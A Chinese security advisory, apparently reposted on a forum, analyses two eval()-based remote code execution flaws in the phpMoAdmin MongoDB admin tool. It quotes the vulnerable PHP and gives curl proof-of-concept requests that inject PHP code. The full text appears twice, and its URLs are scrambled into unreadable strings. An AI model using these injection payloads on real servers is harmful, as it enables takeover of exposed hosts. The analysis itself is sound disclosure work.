-
-
MongoDB 管理程序 phpMoAdmin 远程代码执行漏洞分析
-
发表于: 2015-3-4 16:37 1025
-
MongoDB 管理程序 phpMoAdmin 远程代码执行漏洞分析
2015-03-04
文 / 知道创宇研究团队 2015 . 03 . 04
近日,在国外媒体 thehackernews 上有报道称:开源 MongoDB 的管理程序 phpMoAdmin 存在严重的安全漏洞,并称该漏洞信息已经在黑市上流传!就在今日,安全社区公布了相关漏洞细节及利用程序,同时,有很多公司及组织对该漏洞进行了分析。知道创宇研究团队分析代码后发现:phpMoAdmin 存在多个远程代码执行漏洞点,且这些漏洞点被很多包括安全人员在内的人忽视了。
以下是我们的具体分析报告。
漏洞分析
phpMoAdmin 存在代码执行的漏洞点其实有 2 个:
1、存在于 saveObject() 函数里,代码如下:
public function saveObject($collection, $obj) {
eval('$obj=' . $obj . ';'); //cast from string to array
return $this->mongo->selectCollection($collection)->save($obj);
}
$obj 变量进入了 eval() 导致代码执行,我们再看看 saveObject() 的调用:
代码 787 - 793 行
if (isset($_POST['object'])) {
if (self::$model->saveObject($_GET['collection'], $_POST['object'])) {
return $this->_dumpFormVals();
} else {
$action = 'editObject';
$_POST['errors']['object'] = 'Error: object could not be saved - check your array syntax.';
}
POST 提交的 $_POST['object'] 没有任何过滤进入了 saveObject()
漏洞测试:
➜ ~ curl "612K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4c8W2M7%4c8Q4x3X3g2C8L8X3!0%4M7$3&6W2j5#2)9J5k6r3c8W2L8h3!0Q4x3X3g2U0L8$3#2Q4x3V1k6E0L8$3q4V1L8h3W2F1i4K6u0W2M7r3S2H3" -d "object=1;print(md5(11111));exit;"
Notice: Undefined index: collection in /home/public_html/moadmin.php on line 789
b0baee9d279d34fa1dfd71aadb908c3f%
这个也就是安全社区公布的利用方法。然而还有另外一个可以导致任意代码执行的漏洞点被忽视了……
2、存在于 listRows() 函数里,代码行 546 - 562:
public function listRows($collection) {
foreach ($this->sort as $key => $val) { //cast vals to int
$sort[$key] = (int) $val;
}
$col = $this->mongo->selectCollection($collection);$find = array();
if (isset($_GET['find']) && $_GET['find']) {
$_GET['find'] = trim($_GET['find']);
if (strpos($_GET['find'], 'array') === 0) {
eval('$find = ' . $_GET['find'] . ';');
} else if (is_string($_GET['find'])) {
if ($findArr = json_decode($_GET['find'], true)) {
$find = $findArr;
}
}
}
其中,变量 $_GET['find'] 没有经过过滤而直接进入了 eval() 导致代码执行,注意需要绕过 strpos($_GET['find'], 'array') === 0 这个判断。找到 listRows() 的调用方式后就可以触发这个漏洞了。
漏洞测试:
➜ ~ curl "853K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4c8W2M7%4c8Q4x3X3g2C8L8X3!0%4M7$3&6W2j5#2)9J5k6r3c8W2L8h3!0Q4x3X3g2U0L8$3#2Q4x3V1k6E0L8$3q4V1L8h3W2F1i4K6u0W2M7r3S2H3i4K6y4r3k6r3u0Q4x3@1c8S2k6r3#2A6L8W2)9J5y4X3q4U0N6r3W2G2L8W2)9K6c8r3I4A6M7%4c8d9L8%4N6K6i4K6t1$3j5$3!0D9L8r3g2U0N6r3W2G2L8W2)9K6c8s2A6*7P5W2)9J5y4X3k6A6L8X3c8Q4x3@1c8S2M7Y4u0S2P5g2)9J5z5o6q4Q4x3U0W2Q4x3@1u0H3M7X3W2F1N6q4)9J5z5r3#2V1y4g2)9J5z5o6p5I4x3g2)9J5z5g2)9J5z5g2)9K6b7X3g2^5K9i4c8Q4x3@1t1`."
698d51a19d8a121ce581499d7b701668%
修复方案:
我们注意到,phpMoAdmin 在 github 开源项目的更新时间还是在 2 年前,漏洞曝光后到目前为止没有看到相关安全补丁及更新发布。我们建议直接删除 phpMoAdmin 的相关文件,换用其他 MongoDB 管理程序。
参考:
a8fK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4c8Z5k6h3S2S2j5$3E0W2M7X3&6W2N6%4y4Q4x3X3g2U0L8$3#2Q4x3V1j5J5x3o6p5#2i4K6u0r3x3o6y4Q4x3V1k6H3K9s2m8y4L8@1q4V1L8h3W2F1i4K6u0V1L8h3!0F1k6$3!0p5b7W2)9J5k6r3g2^5M7r3I4G2K9i4c8Q4x3X3g2Z5N6r3#2D9
3cfK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3N6A6N6r3S2#2j5W2)9J5k6h3y4G2L8g2)9J5c8V1#2G2L8X3N6G2c8p5u0Q4x3X3c8d9L8%4S2Q4x3V1k6H3K9s2m8y4L8@1q4V1L8h3W2F1i4K6u0V1e0h3!0F1k6$3!0p5b7W2)9J5k6p5q4V1L8h3W2F1i4K6u0V1g2r3!0G2L8q4)9J5k6r3k6G2M7W2)9J5k6q4m8t1f1l9`.`.
2aaK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3g2^5M7r3I4G2K9i4c8Q4x3X3c8V1j5W2)9J5k6h3y4G2L8g2)9J5c8X3g2^5M7r3I4G2K9i4c8K6i4K6u0r3x3K6j5J5y4e0q4Q4x3V1j5`.
2015-03-04
文 / 知道创宇研究团队 2015 . 03 . 04
近日,在国外媒体 thehackernews 上有报道称:开源 MongoDB 的管理程序 phpMoAdmin 存在严重的安全漏洞,并称该漏洞信息已经在黑市上流传!就在今日,安全社区公布了相关漏洞细节及利用程序,同时,有很多公司及组织对该漏洞进行了分析。知道创宇研究团队分析代码后发现:phpMoAdmin 存在多个远程代码执行漏洞点,且这些漏洞点被很多包括安全人员在内的人忽视了。
以下是我们的具体分析报告。
漏洞分析
phpMoAdmin 存在代码执行的漏洞点其实有 2 个:
1、存在于 saveObject() 函数里,代码如下:
public function saveObject($collection, $obj) {
eval('$obj=' . $obj . ';'); //cast from string to array
return $this->mongo->selectCollection($collection)->save($obj);
}
$obj 变量进入了 eval() 导致代码执行,我们再看看 saveObject() 的调用:
代码 787 - 793 行
if (isset($_POST['object'])) {
if (self::$model->saveObject($_GET['collection'], $_POST['object'])) {
return $this->_dumpFormVals();
} else {
$action = 'editObject';
$_POST['errors']['object'] = 'Error: object could not be saved - check your array syntax.';
}
POST 提交的 $_POST['object'] 没有任何过滤进入了 saveObject()
漏洞测试:
➜ ~ curl "612K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4c8W2M7%4c8Q4x3X3g2C8L8X3!0%4M7$3&6W2j5#2)9J5k6r3c8W2L8h3!0Q4x3X3g2U0L8$3#2Q4x3V1k6E0L8$3q4V1L8h3W2F1i4K6u0W2M7r3S2H3" -d "object=1;print(md5(11111));exit;"
Notice: Undefined index: collection in /home/public_html/moadmin.php on line 789
b0baee9d279d34fa1dfd71aadb908c3f%
这个也就是安全社区公布的利用方法。然而还有另外一个可以导致任意代码执行的漏洞点被忽视了……
2、存在于 listRows() 函数里,代码行 546 - 562:
public function listRows($collection) {
foreach ($this->sort as $key => $val) { //cast vals to int
$sort[$key] = (int) $val;
}
$col = $this->mongo->selectCollection($collection);$find = array();
if (isset($_GET['find']) && $_GET['find']) {
$_GET['find'] = trim($_GET['find']);
if (strpos($_GET['find'], 'array') === 0) {
eval('$find = ' . $_GET['find'] . ';');
} else if (is_string($_GET['find'])) {
if ($findArr = json_decode($_GET['find'], true)) {
$find = $findArr;
}
}
}
其中,变量 $_GET['find'] 没有经过过滤而直接进入了 eval() 导致代码执行,注意需要绕过 strpos($_GET['find'], 'array') === 0 这个判断。找到 listRows() 的调用方式后就可以触发这个漏洞了。
漏洞测试:
➜ ~ curl "853K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4c8W2M7%4c8Q4x3X3g2C8L8X3!0%4M7$3&6W2j5#2)9J5k6r3c8W2L8h3!0Q4x3X3g2U0L8$3#2Q4x3V1k6E0L8$3q4V1L8h3W2F1i4K6u0W2M7r3S2H3i4K6y4r3k6r3u0Q4x3@1c8S2k6r3#2A6L8W2)9J5y4X3q4U0N6r3W2G2L8W2)9K6c8r3I4A6M7%4c8d9L8%4N6K6i4K6t1$3j5$3!0D9L8r3g2U0N6r3W2G2L8W2)9K6c8s2A6*7P5W2)9J5y4X3k6A6L8X3c8Q4x3@1c8S2M7Y4u0S2P5g2)9J5z5o6q4Q4x3U0W2Q4x3@1u0H3M7X3W2F1N6q4)9J5z5r3#2V1y4g2)9J5z5o6p5I4x3g2)9J5z5g2)9J5z5g2)9K6b7X3g2^5K9i4c8Q4x3@1t1`."
698d51a19d8a121ce581499d7b701668%
修复方案:
我们注意到,phpMoAdmin 在 github 开源项目的更新时间还是在 2 年前,漏洞曝光后到目前为止没有看到相关安全补丁及更新发布。我们建议直接删除 phpMoAdmin 的相关文件,换用其他 MongoDB 管理程序。
参考:
a8fK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4c8Z5k6h3S2S2j5$3E0W2M7X3&6W2N6%4y4Q4x3X3g2U0L8$3#2Q4x3V1j5J5x3o6p5#2i4K6u0r3x3o6y4Q4x3V1k6H3K9s2m8y4L8@1q4V1L8h3W2F1i4K6u0V1L8h3!0F1k6$3!0p5b7W2)9J5k6r3g2^5M7r3I4G2K9i4c8Q4x3X3g2Z5N6r3#2D9
3cfK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3N6A6N6r3S2#2j5W2)9J5k6h3y4G2L8g2)9J5c8V1#2G2L8X3N6G2c8p5u0Q4x3X3c8d9L8%4S2Q4x3V1k6H3K9s2m8y4L8@1q4V1L8h3W2F1i4K6u0V1e0h3!0F1k6$3!0p5b7W2)9J5k6p5q4V1L8h3W2F1i4K6u0V1g2r3!0G2L8q4)9J5k6r3k6G2M7W2)9J5k6q4m8t1f1l9`.`.
2aaK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3g2^5M7r3I4G2K9i4c8Q4x3X3c8V1j5W2)9J5k6h3y4G2L8g2)9J5c8X3g2^5M7r3I4G2K9i4c8K6i4K6u0r3x3K6j5J5y4e0q4Q4x3V1j5`.
赞赏
他的文章
赞赏
雪币:
留言: